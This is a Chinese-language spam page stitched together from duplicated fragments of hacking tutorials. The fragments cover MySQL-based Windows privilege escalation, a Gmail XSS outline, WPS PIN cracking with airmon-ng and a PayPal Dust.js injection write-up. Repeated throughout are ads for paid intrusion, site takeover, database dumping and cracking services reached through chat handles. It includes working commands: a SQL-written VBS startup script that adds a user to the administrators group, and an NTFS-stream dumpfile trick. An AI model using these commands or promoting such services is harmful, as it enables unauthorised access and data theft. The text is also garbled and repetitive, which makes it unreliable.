二次执行进行提权
这里test123用户不是administrators组用户，使用相同的办法通过mysql命令重新写入vbs脚本。脚本内容为：
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test123 /add"",0)");
然后加入启动项，再次重启计算机，此命令被执行，完成提权魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
这里test123用户不是administrators组用户，使用相同的办法通过mysql命令重新写入vbs脚本。脚本内容为：
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test123 /add"",0)");
然后加入启动项，再次重启计算机，此命令被执行，完成提权魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
随机频道名称
还有一个问题：由于这么多框架之间有这么多通信，很容易混淆，所以消息通常有一个频道名称。该名称是由“mail.google.com”生成的随机 6 个字符，并在第一条消息中传输到“hangouts.google.com”。在它收到的所有后续消息中，“hangouts.google.com”会检查它是否包含正确的频道名称，如果没有，它就不会处理该消息。
攻击者不知道频道名称，而 6 个字母数字的可能性实在太大，无法全部尝试。
随机生成器是“Math.random()”，它并不安全，过去曾被 Google 工程师利用🙂来在 Facebook 中发现 XSS！但是，该技术要求随机生成器的状态在跨域选项卡之间共享，但现在情况已不再如此。
第三个解决方案是在 Gmail 选项卡的框架层次结构中加载由攻击者控制的 iframe。由于 iframe 的跨域重定向在浏览器中的工作方式、Gmail X-Frame-Options 标头为“SAMEORIGIN”以及消息是使用参数 targetOrigin“*”发送的，因此可以拦截频道名称并执行 XSS。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
还有一个问题：由于这么多框架之间有这么多通信，很容易混淆，所以消息通常有一个频道名称。该名称是由“mail.google.com”生成的随机 6 个字符，并在第一条消息中传输到“hangouts.google.com”。在它收到的所有后续消息中，“hangouts.google.com”会检查它是否包含正确的频道名称，如果没有，它就不会处理该消息。
攻击者不知道频道名称，而 6 个字母数字的可能性实在太大，无法全部尝试。
随机生成器是“Math.random()”，它并不安全，过去曾被 Google 工程师利用🙂来在 Facebook 中发现 XSS！但是，该技术要求随机生成器的状态在跨域选项卡之间共享，但现在情况已不再如此。
第三个解决方案是在 Gmail 选项卡的框架层次结构中加载由攻击者控制的 iframe。由于 iframe 的跨域重定向在浏览器中的工作方式、Gmail X-Frame-Options 标头为“SAMEORIGIN”以及消息是使用参数 targetOrigin“*”发送的，因此可以拦截频道名称并执行 XSS。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
提权
① 创建plugin目录：
MySQL 5.1 以上版本需要导出到mysql安装目录/lib/plugin/，5.1 以下直接安装在c:/windows目录下，如果5.1以上没有plugin目录，需要手工创建或者通过NTFS流创建目录：
#NTFS流创建plugin目录
select 'x' into dumpfile 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin::INDEX_ALLOCATION';
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
① 创建plugin目录：
MySQL 5.1 以上版本需要导出到mysql安装目录/lib/plugin/，5.1 以下直接安装在c:/windows目录下，如果5.1以上没有plugin目录，需要手工创建或者通过NTFS流创建目录：
#NTFS流创建plugin目录
select 'x' into dumpfile 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin::INDEX_ALLOCATION';
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
使用 Reaver 暴力破解 Archer C5 WPS PIN
首先，使用以下命令将 Wifi 适配器置于监控模式：
Airmon-ng 启动 wlan0
监控适配器的接口将是 wlan0mon。会收到一条关于可能造成麻烦的进程的消息，使用 kill 命令将其杀死。可以使用 airodump-ng 来定位接入点并检索 MAC 地址。使用以下命令启动 airodump-ng：
airodump-ng –i wlan0mon
MAC 地址出现在第一列，可以复制到剪贴板.
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
首先，使用以下命令将 Wifi 适配器置于监控模式：
Airmon-ng 启动 wlan0
监控适配器的接口将是 wlan0mon。会收到一条关于可能造成麻烦的进程的消息，使用 kill 命令将其杀死。可以使用 airodump-ng 来定位接入点并检索 MAC 地址。使用以下命令启动 airodump-ng：
airodump-ng –i wlan0mon
MAC 地址出现在第一列，可以复制到剪贴板.
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
使用MD5、SHA1等单向HASH算法保护密码，使用这些算法后，无法通过计算还原出原始密码，而且实现比较简单，因此很多互联网公司都采用这种方式保存用户密码，曾经这种方式也是比较安全的方式，但随着彩虹表技术的兴起，可以建立彩虹表进行查表破解，目前这种方式已经很不安全了。
特殊的单向HASH算法，由于单向HASH算法在保护密码方面不再安全，于是有些公司在单向HASH算法基础上进行了加盐、多次HASH等扩展，这些方式可以在一定程度上增加破解难度，对于加了“固定盐”的HASH算法，需要保护“盐”不能泄露，这就会遇到“保护对称密钥”一样的问题，一旦“盐”泄露，根据“盐”重新建立彩虹表可以进行破解，对于多次HASH，也只是增加了破解的时间，并没有本质上的提升。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
特殊的单向HASH算法，由于单向HASH算法在保护密码方面不再安全，于是有些公司在单向HASH算法基础上进行了加盐、多次HASH等扩展，这些方式可以在一定程度上增加破解难度，对于加了“固定盐”的HASH算法，需要保护“盐”不能泄露，这就会遇到“保护对称密钥”一样的问题，一旦“盐”泄露，根据“盐”重新建立彩虹表可以进行破解，对于多次HASH，也只是增加了破解的时间，并没有本质上的提升。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
Burp Suite Scanner 是一款出色的网络安全分析工具。与其它 Web 应用程序安全扫描程序不同，Burp 提供了 GUI 和一些高级工具。
社区版仅将功能限制为一些基本的手动工具。对于专业人士，你必须考虑升级。与前面的工具类似，这也不是开源的。
我使用过免费版本，但是如果你想了解更多细节，你应该查看他们 官方网站 上提供的功能。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
社区版仅将功能限制为一些基本的手动工具。对于专业人士，你必须考虑升级。与前面的工具类似，这也不是开源的。
我使用过免费版本，但是如果你想了解更多细节，你应该查看他们 官方网站 上提供的功能。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
demo.paypal.com] Node.js 代码注入 (RCE)
当我尝试在 Web 应用程序中查找漏洞时，我总是对所有 http 参数执行模糊测试，有时它会给我一些有趣的东西
demo.paypal.com 服务器对 '\' 和 '%0a' 请求的响应不同，并在响应中抛出“语法错误”。同时，对于单引号、双引号和其他字符，服务器响应 HTTP 200 OK。
从错误消息中我发现 PayPal Node.js 应用程序在服务器端使用Dust.js javascript 模板引擎，所以我决定查看一下。在 github 上查看其源代码后，我发现问题与使用“if”dust.js 助手有关。
旧版本的 Dust.js 支持“if”助手，您可以在代码中使用它们，如下所示：
{@if cond="'{device}' == 'desktop'"}
<div> Desktop version </div>
{:else}
<div> Mobile version </div>
{/if}
view rawifhelper.dust hosted with ❤️ by GitHub
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
当我尝试在 Web 应用程序中查找漏洞时，我总是对所有 http 参数执行模糊测试，有时它会给我一些有趣的东西
demo.paypal.com 服务器对 '\' 和 '%0a' 请求的响应不同，并在响应中抛出“语法错误”。同时，对于单引号、双引号和其他字符，服务器响应 HTTP 200 OK。
从错误消息中我发现 PayPal Node.js 应用程序在服务器端使用Dust.js javascript 模板引擎，所以我决定查看一下。在 github 上查看其源代码后，我发现问题与使用“if”dust.js 助手有关。
旧版本的 Dust.js 支持“if”助手，您可以在代码中使用它们，如下所示：
{@if cond="'{device}' == 'desktop'"}
<div> Desktop version </div>
{:else}
<div> Mobile version </div>
{/if}
view rawifhelper.dust hosted with ❤️ by GitHub
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等联系技术：魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
Burp Suite Scanner 是一款出色的网络安全分析工具。与其它 Web 应用程序安全扫描程序不同，Burp 提供了 GUI 和一些高级工具。
社区版仅将功能限制为一些基本的手动工具。对于专业人士，你必须考虑升级。与前面的工具类似，这也不是开源的。
我使用过免费版本，但是如果你想了解更多细节，你应该查看他们 官方网站 上提供的功能。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot
社区版仅将功能限制为一些基本的手动工具。对于专业人士，你必须考虑升级。与前面的工具类似，这也不是开源的。
我使用过免费版本，但是如果你想了解更多细节，你应该查看他们 官方网站 上提供的功能。
专业渗透，#提取，#劫持，#拿站，#数据库提取，#破解 #渗透 #脱裤等魔法师客服专员ID
@Mofshi19
魔法师客服双向专员ID
@Mofashi19bot